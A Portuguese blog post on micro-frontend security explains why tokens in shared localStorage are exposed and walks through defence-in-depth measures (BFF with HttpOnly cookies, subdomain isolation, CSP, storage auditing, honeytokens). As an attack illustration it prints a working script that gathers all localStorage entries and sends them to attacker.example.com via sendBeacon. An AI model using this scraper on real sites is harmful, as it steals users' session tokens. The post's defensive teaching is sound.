Micro‑frontends: o ponto fraco que ninguém viu

Postado em

Fala galera. No trampo do dia a dia, a gente lança um monte de micro-frontends (MFEs) numa única aplicação e acha que a separação lógica dos times garante isolamento. A real é que o browser não faz nenhum milagre. Ele vê um origin (https://app.exemplo.com) e cria um único window.localStorage.

Todo script rodando ali tem acesso direto a esse cofre. O usuário fecha a aba, mas o token no localStorage continua vivo lá no disco. Para quem quer invadir, isso é um prato cheio.

O Threat Model (ou: assumindo que já deu ruim)

Antes de ir pro código, vamos alinhar o threat model: a nossa premissa aqui assume que o atacante já conseguiu execução de JavaScript no origin. O objetivo dessa arquitetura não é impedir o XSS ou a injeção na supply-chain (isso é trabalho pra outras camadas), mas sim conter o raio de explosão e reduzir o impacto pós-exploração. Se o cara já tá rodando código na sua tela, como a gente impede ele de levar as chaves do reino?

A fragmentação dos MFEs explode a superfície de ataque. Cada módulo tem seu próprio package.json. Se o time de checkout puxa uma lib comprometida (ou rola um XSS clássico), o script malicioso cai direto no bundle e ganha acesso ao mesmo localStorage de todo mundo.

E não, isso não é teoria acadêmica de AppSec. Já vi time grande perder sessão de admin inteira porque um MFE de terceiros carregou um script de analytics comprometido que tava varrendo o storage. O laço de repetição coleta tudo e a exfiltração rola solta via navigator.sendBeacon.

Como o beacon é um “Simple Request” (texto puro, GET/POST básico), ele não gera preflight (OPTIONS) de CORS. O navegador deixa passar liso:

(function stealLocalStorage() {  
  const payload = {};  
  // Varre todas as chaves do localStorage – nada escapa  
  for (let i = 0; i < localStorage.length; i++) {    
    const k = localStorage.key(i);    
    payload[k] = localStorage.getItem(k);  
  }  
  
  /* ---------- Exfiltração ---------- */  
  // O beacon usa o caminho de "Simple Request" e pula o CORS preflight
  navigator.sendBeacon(    
    'https://attacker.example.com/collect', 
    JSON.stringify(payload) 
  );
})();

Nenhum erro no console, nenhuma exceção. O atacante leva tudo, inclusive se o usuário já tiver fechado a aba.

A Defesa: Parando de confiar no browser

Não basta fechar porta de XSS, a defesa tem que ser em profundidade. E mais importante: sabendo exatamente onde cada defesa falha.

A bala de prata com ressalvas: BFF + HttpOnly A estratégia mais limpa é tirar o token do alcance do JavaScript usando um Backend‑for‑Frontend (BFF) com cookies HttpOnly. O JS nunca vê o valor.

// BFF: rota que gera/renova o token e devolve via HttpOnly cookie
app.post('/api/bff/refresh', async (req, res) => {  
  const currentToken = req.cookies.access_token;    
  if (!currentToken) {    
    return res.status(401).json({ error: 'No token' });  
  }  
  
  const newToken = `refreshed_${Date.now()}_${crypto.randomBytes(16).toString('hex')}`;  
  res.cookie('access_token', newToken, {    
    httpOnly: true,    
    secure: process.env.NODE_ENV === 'production',    
    sameSite: 'strict',    
    path: '/api',    
    maxAge: 15 * 60 * 1000  
  });  
  
  res.json({ ok: true, message: 'Token refreshed', expiresIn: 900 });
});

Onde isso falha: BFF + HttpOnly não resolve CSRF por mágica. Se você não garantir o SameSite=Strict ou não implementar um anti-CSRF token, você só trocou um roubo de token por um ataque de falsificação de requisição. Cobre a cabeça, descobre os pés.

Isolamento real e o debate Memória vs Persistência Pra isolar de vez, jogue os MFEs em sub-domínios (profile.app... e checkout.app...). O browser cria processos e storages independentes. Pra eles conversarem, a gente engole o choro da complexidade e usa postMessage com validação paranoica de origem:

/* checkout.app.hardened.com – quem recebe */
window.addEventListener('message', ev => {  
  if (ev.origin !== 'https://profile.app.hardened.com') return;  
  
  const {type, payload} = ev.data;  
  if (type === 'SET_TOKEN') {    
    storeTokenInMemory(payload);  
  }
});

Por que em memória? Token em memória RAM não é perfeito (um atacante com execução ativa ainda pode ler variáveis globais), mas reduz drasticamente a persistência. Se o cara fechar a aba, o token morre. Isso elimina totalmente a janela de replay offline que o localStorage deixa escancarada.

Hardening: Deixando o atacante maluco Se precisar mesmo salvar no storage, não deixe em texto plano. Usamos a Web Crypto API pra derivar uma chave forte com PBKDF2 e encriptar os dados com AES-GCM.

async function encryptToken(token, secret) {  
  const iv   = crypto.getRandomValues(new Uint8Array(12));   
  const salt = crypto.getRandomValues(new Uint8Array(16));  
  const key  = await deriveKey(secret, salt);  
  const ct   = await crypto.subtle.encrypt(    
    { name: 'AES-GCM', iv }, key, new TextEncoder().encode(token)  
  );  
  // ... serialização e retorno do payload
}

Onde isso falha: AES no client não protege contra XSS com execução ativa. Se o atacante domina a thread do JS exatamente no momento em que a chave é derivada na RAM, ele leva a chave. O objetivo aqui não é invulnerabilidade, é encarecer o ataque e forçar o script automatizado a falhar.

O espião no DOM Pra pegar anomalias, injetamos um Proxy no localStorage pra auditar leituras/escritas. E pra evitar bypass via iframe vazio, metemos um CSP marreta no header:

// CSP bloqueando a criação de iframes na página
const cspHeader = `    
    default-src 'self';    
    script-src 'self' 'nonce-${nonce}';    
    frame-src 'none';    
    frame-ancestors 'none';    
`.replace(/\s+/g, ' ').trim();

res.setHeader('Content-Security-Policy', cspHeader);

Onde isso falha: Race condition. Se o nosso Proxy não for o primeiríssimo script síncrono a carregar no <head>, e o script malicioso carregar antes, o atacante guarda a referência original do storage e bypassa a auditoria sorrindo.

E aqui vem a parte divertida (ou paranoica): Honeytokens Armamos uma armadilha. Gravamos uma chave inútil (ex: honey-1234) logo após o login. Nenhum módulo do sistema acessa isso de verdade. Se o proxy capturar uma leitura nela, é certeza absoluta que tem um script intruso varrendo o storage.

window.__HONEYTOKENS__ = new Set();
const isHoneytoken = window.__HONEYTOKENS__.has(key) || (typeof key === 'string' && key.startsWith('honey-'));

if (isHoneytoken && op !== 'write') {    
    const criticalEvent = {        
        op, key, ts: Date.now(), level: 'CRITICAL',        
        type: 'HONEYTOKEN_ACCESS', userAgent: navigator.userAgent, origin: window.origin    
    };    
    navigator.sendBeacon('/api/alert/honey', JSON.stringify(criticalEvent));    
    return;
}

Onde isso falha: Falsos positivos. Se um dev júnior curioso abrir o DevTools na sexta-feira à tarde e clicar na chave pra ver o que é, o alarme toca, o PagerDuty grita e a sessão dele cai. Faz parte do jogo.

Quando o backend recebe esse beacon, a gente derruba a sessão na hora, invalida os tokens reais no BFF e isola o incidente.

Construir essa defesa em profundidade dá trabalho, exige infra e adiciona atrito no desenvolvimento. Nenhuma camada é à prova de balas sozinha. Mas no fim do dia, se você ainda salva JWT em localStorage puro em 2026, não é por falta de informação. É uma escolha arquitetural consciente, e uma bem arriscada.

Categoria: Frontend
Gostou do conteúdo?

Se este artigo foi útil para você, considere apoiar meu trabalho!

Me compre um café

Comentários